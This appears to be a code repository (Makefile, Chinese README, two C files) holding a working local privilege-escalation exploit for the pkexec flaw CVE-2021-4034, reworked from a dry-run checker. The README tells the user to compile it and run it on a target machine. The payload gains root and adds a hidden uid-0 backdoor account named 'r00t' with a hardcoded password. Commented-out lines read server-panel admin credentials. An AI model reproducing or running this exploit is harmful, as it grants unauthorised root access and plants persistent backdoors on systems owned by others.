├── Makefile ├── README.md ├── dry-run-cve-2021-4034.c └── pwnkit-dry-run.c /Makefile: -------------------------------------------------------------------------------- 1 | TRUE=$(shell which true) 2 | 3 | CFLAGS=-Wall -DTRUE='"${TRUE}"' 4 | 5 | .PHONY: all 6 | all: dry-run-cve-2021-4034 7 | 8 | .PHONY: clean 9 | clean: 10 | rm -rf dry-run-cve-2021-4034 pwnkit-dry-run.so_data.h pwnkit-dry-run.so 11 | 12 | %.so: %.c 13 | $(CC) $(CFLAGS) --shared -fPIC -o $@ $< 14 | 15 | %.so_data.h: %.so 16 | echo "#ifndef __PWNKIT_SO_DATA_H" >$@ 17 | echo "#define __PWNKIT_SO_DATA_H" >>$@ 18 | xxd -i $< >>$@ 19 | echo "#endif" >>$@ 20 | 21 | dry-run-cve-2021-4034: dry-run-cve-2021-4034.c pwnkit-dry-run.so_data.h 22 | $(CC) $(CFLAGS) -o $@ $< 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-4034 2 | CVE-2021-4034 centos8可用版本 3 | 4 | 基于修改而来 5 | https://github.com/berdav/CVE-2021-4034/tree/main/dry-run 6 | 7 | ## 使用方法 8 | 修改``pwnkit-dry-run.c``中``system``函数执行自定义执行命令 9 | (默认为添加``r00t``用户,密码为``XHSZWCPU6Nvobe``) 10 | ``make``进行编译 11 | 上传到目标机器运行 12 | -------------------------------------------------------------------------------- /dry-run-cve-2021-4034.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "pwnkit-dry-run.so_data.h" 11 | 12 | #define TESTDIR "/tmp/pwnkit-dry-run" 13 | 14 | #define EXPLOITABLE_OR_ERROR 1 15 | 16 | static int removedir(const char *path) 17 | { 18 | struct dirent *entry; 19 | DIR *directory = opendir(path); 20 | 21 | char filename[PATH_MAX + 1]; 22 | if (directory == NULL) 23 | return -1; 24 | 25 | while ((entry = readdir(directory)) != NULL) { 26 | if (!strcmp(".", entry->d_name)) 27 | continue; 28 | if (!strcmp("..", entry->d_name)) 29 | continue; 30 | 31 | snprintf(filename, PATH_MAX, "%s/%s", path, entry->d_name); 32 | 33 | if (entry->d_type == DT_DIR) 34 | removedir(filename); 35 | else 36 | remove(filename); 37 | } 38 | closedir(directory); 39 | 40 | return remove(path); 41 | } 42 | 43 | static int copyfile(const char *input, const char *output) 44 | { 45 | int ret = 0; 46 | int ofd = 0; 47 | FILE *in, *out; 48 | unsigned char buffer[4096]; 49 | in = fopen(input, "rb"); 50 | if (in == NULL) 51 | return -1; 52 | 53 | ofd = open(output, O_WRONLY | O_CREAT, 0700); 54 | if (ofd < 0) 55 | return -1; 56 | 57 | out = fdopen(ofd, "wb"); 58 | if (out == NULL) 59 | return -1; 60 | 61 | while (!feof(in) && !ferror(in) && !ferror(out)) { 62 | size_t i = 0; 63 | int r = fread(buffer, 1, sizeof(buffer), in); 64 | for (i = 0 ; i < r && !ferror(in) && !ferror(out);) { 65 | int w = fwrite(buffer + i, 1, sizeof(buffer) - i, out); 66 | i += w; 67 | } 68 | } 69 | 70 | ret = ferror(in) || ferror(out); 71 | 72 | fclose(in); 73 | fclose(out); 74 | 75 | return ret; 76 | } 77 | 78 | static int createandwritefile(const char *dest, const char *content) 79 | { 80 | FILE *f = fopen(dest, "w"); 81 | if (f == NULL) 82 | return -1; 83 | 84 | fprintf(f, "%s\n", content); 85 | fclose(f); 86 | return 0; 87 | } 88 | 89 | static int createsharedobjectpwnkit(const char *outputname) 90 | { 91 | int ret = 0; 92 | int wrote = 0; 93 | int fd; 94 | FILE *f; 95 | 96 | fd = open(outputname, O_WRONLY | O_CREAT, 0700); 97 | if (fd < 0) 98 | return -1; 99 | 100 | f = fdopen(fd, "wb"); 101 | if (f == NULL) 102 | return -1; 103 | 104 | while (wrote < pwnkit_dry_run_so_len) { 105 | int w = fwrite(pwnkit_dry_run_so + wrote, 1, 106 | pwnkit_dry_run_so_len - wrote, f); 107 | wrote += w; 108 | } 109 | 110 | ret = ferror(f); 111 | fclose(f); 112 | 113 | return ret; 114 | } 115 | 116 | int main(int argc, char **argv) 117 | { 118 | pid_t p; 119 | int wstatus = 0; 120 | int exitcode = EXPLOITABLE_OR_ERROR; 121 | char * const args[] = { 122 | NULL 123 | }; 124 | char * const environ[] = { 125 | "pwnkit.so:.", 126 | "PATH=GCONV_PATH=.", 127 | "SHELL=/lol/i/do/not/exists", 128 | "CHARSET=PWNKIT", 129 | "GIO_USE_VFS=", 130 | NULL 131 | }; 132 | 133 | mkdir(TESTDIR, 0750); 134 | 135 | if (chdir(TESTDIR) != 0) 136 | return EXPLOITABLE_OR_ERROR; 137 | 138 | mkdir("GCONV_PATH=.", 0750); 139 | 140 | if (copyfile(TRUE, "GCONV_PATH=./pwnkit.so:.") != 0) 141 | return EXPLOITABLE_OR_ERROR; 142 | 143 | if (createandwritefile("gconv-modules", "module UTF-8// PWNKIT// pwnkit 1") != 0) 144 | return EXPLOITABLE_OR_ERROR; 145 | 146 | if (createsharedobjectpwnkit("pwnkit.so")); 147 | 148 | p = fork(); 149 | switch (p) { 150 | case -1: 151 | perror("fork"); 152 | break; 153 | 154 | case 0: 155 | return execve("/usr/bin/pkexec", args, environ); 156 | 157 | default: 158 | wait(&wstatus); 159 | while (!WIFEXITED(wstatus)) 160 | wait(&wstatus); 161 | exitcode = WEXITSTATUS(wstatus); 162 | break; 163 | } 164 | 165 | removedir(TESTDIR); 166 | 167 | if (exitcode != 0) 168 | return 1 - EXPLOITABLE_OR_ERROR; 169 | 170 | return EXPLOITABLE_OR_ERROR; 171 | } 172 | 173 | -------------------------------------------------------------------------------- /pwnkit-dry-run.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | 6 | 7 | void gconv(void) { 8 | } 9 | 10 | void gconv_init(void *step) 11 | { 12 | setuid(0); 13 | setgid(0); 14 | system("/usr/sbin/useradd -u 0 -o -g 0 r00t;echo XHSZWCPU6Nvobe |/usr/bin/passwd --stdin r00t"); 15 | //system("/www/server/panel/pyenv/bin/python /www/server/panel/tools.py username"); 16 | //system("/usr/bin/cat /www/server/panel/default.pl"); 17 | //system("/usr/bin/cat /www/server/panel/data/admin_path.pl"); 18 | exit(0); 19 | } 20 | --------------------------------------------------------------------------------